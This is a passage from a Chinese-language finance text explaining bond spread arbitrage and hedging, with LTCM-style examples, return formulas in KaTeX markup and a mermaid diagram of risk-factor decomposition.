4.5%，利差50基点</li><li><strong>异常情况</strong>：德债4.0%，意债5.5%，利差扩大到150基点</li><li><strong>套利操作</strong>：<ul><li>买入意大利国债（收益率高，价格低估）</li><li>卖空德国国债（收益率低，价格高估）</li></ul></li><li><strong>预期收益</strong>：当利差收敛到正常的50基点时，获得100基点的收益</li></ul><p><strong>案例二：在途/脱途债券套利</strong></p><ul><li><strong>正常价差</strong>：在途债券收益率比脱途债券低5基点</li><li><strong>异常价差</strong>：价差扩大到20基点</li><li><strong>套利操作</strong>：<ul><li>买入脱途债券（收益率相对较高）</li><li>卖空在途债券（收益率相对较低）</li></ul></li><li><strong>收益来源</strong>：价差从20基点收敛到5基点的15基点差异</li></ul><p><strong>数学表达式：</strong></p><p>公式(2-1)：套利收益计算模型</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">abn</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">or</span><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">or</span><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：套利收益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">abn</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">or</span><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：异常价差</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">or</span><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：正常价差</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：头寸规模</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：久期</li></ul><p><strong>第三：理解对冲与市场中性的本质</strong></p><p><strong>首先：什么是对冲？对冲的本质在做什么？</strong></p><p><strong>对冲的核心定义：</strong><br>对冲(Hedging)是通过建立相反头寸来抵消或减少投资潜在损失的风险管理技术。对冲的本质是<strong>消除不关心的风险因素，专注于预期获利的核心要素</strong>。</p><p><strong>对冲的哲学思想：分离与聚焦</strong></p><p>想象你是一个艺术品鉴定师，你相信一幅画被严重低估了，但你担心整个艺术品市场可能下跌。对冲策略就是：</p><ul><li><strong>买入你看好的画</strong>（获得特定资产的风险敞口）</li><li><strong>卖空艺术品市场指数</strong>（消除整个市场下跌的风险）</li><li><strong>结果</strong>：无论艺术品市场整体涨跌，你只承担这幅画相对于市场的表现风险</li></ul><p><strong>对冲的四个层次分解：</strong></p><p><strong>图2-5: 对冲策略的层次分解与风险因素识别</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;对冲的层次分解&quot;        A[&quot;原始风险敞口&quot;] --&gt; B[&quot;识别风险因素&quot;]        B --&gt; C[&quot;市场整体风险 + 行业风险 + 个股风险&quot;]        C --&gt; D[&quot;选择保留的风险&quot;]        D --&gt; E[&quot;构建对冲头寸消除其他风险&quot;]        subgraph &quot;风险因素分解&quot;            F[&quot;系统性风险(Beta)&quot;]            G[&quot;行业风险(Sector)&quot;]            H[&quot;个股风险(Alpha)&quot;]            I[&quot;流动性风险&quot;]            J[&quot;利率风险&quot;]        end        E --&gt; K[&quot;精准获取目标风险敞口&quot;]    end</code></pre><p><em>数据来源：基于现代投资组合理论和LTCM对冲实践整理</em></p><p><strong>对冲的经典案例解析：</strong></p><p><strong>案例一：石油公司的完美对冲</strong></p><ul><li><strong>原始头寸</strong>：持有中石油股票</li><li><strong>风险分解</strong>：<ul><li>石油价格风险（你想要的敞口）</li><li>中国股市整体风险（你不想要的）</li><li>汇率风险（人民币vs美元，你不想要的）</li></ul></li><li><strong>对冲操作</strong>：<ul><li>保留：中石油股票（获得石油价格敞口）</li><li>对冲：卖空沪深300指数（消除中国股市风险）</li><li>对冲：买入美元/人民币远期（消除汇率风险）</li></ul></li><li><strong>最终结果</strong>：纯粹的石油价格风险敞口</li></ul><p><strong>案例二：LTCM的利率曲线对冲</strong></p><ul><li><strong>投资判断</strong>：29年期美债相对30年期美债被低估</li><li><strong>原始风险</strong>：<ul><li>利率整体水平变动风险（不想要）</li><li>信用风险变动（不想要）</li><li>29年vs30年相对价差风险（想要的核心）</li></ul></li><li><strong>对冲策略</strong>：<ul><li>买入29年期美债</li><li>卖空等价值的30年期美债</li><li>消除了利率整体变动影响</li><li>纯粹押注两者价差收敛</li></ul></li></ul><p><strong>对冲的数学表达：</strong></p><p>公式(2-2)：对冲收益模型</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">)</span></span></span></span></span></p><p>当对冲比例<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">1</span></span></span></span>时：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mclose">)</span></span></span></span></span></p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：总收益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：目标因子收益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：被对冲因子收益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span>：对冲比例</li></ul><p><strong>对冲的三大核心原则：</strong></p><p><strong>1. 风险分离原则：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">投资收益 = α(我们的判断能力) + β(市场整体表现) + ε(随机因素)</span><br><span class="line">对冲目标 = 保留α，消除β，减少ε</span><br></pre></td></tr></table></figure><p><strong>2. 相关性原则：</strong><br>对冲工具与被对冲资产必须有高度相关性，但方向相反：</p><ul><li><strong>完美对冲</strong>：相关系数 = -1.0</li><li><strong>有效对冲</strong>：相关系数 &lt; -0.7</li><li><strong>无效对冲</strong>：相关系数 &gt; -0.3</li></ul><p><strong>3. 成本效益原则：</strong></p><p>公式(2-4)：对冲价值评估模型</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.367em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mord mtight" style="margin-right:0.02778em;">_</span><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.367em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span></span></p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：对冲价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.367em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mord mtight" style="margin-right:0.02778em;">_</span><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal 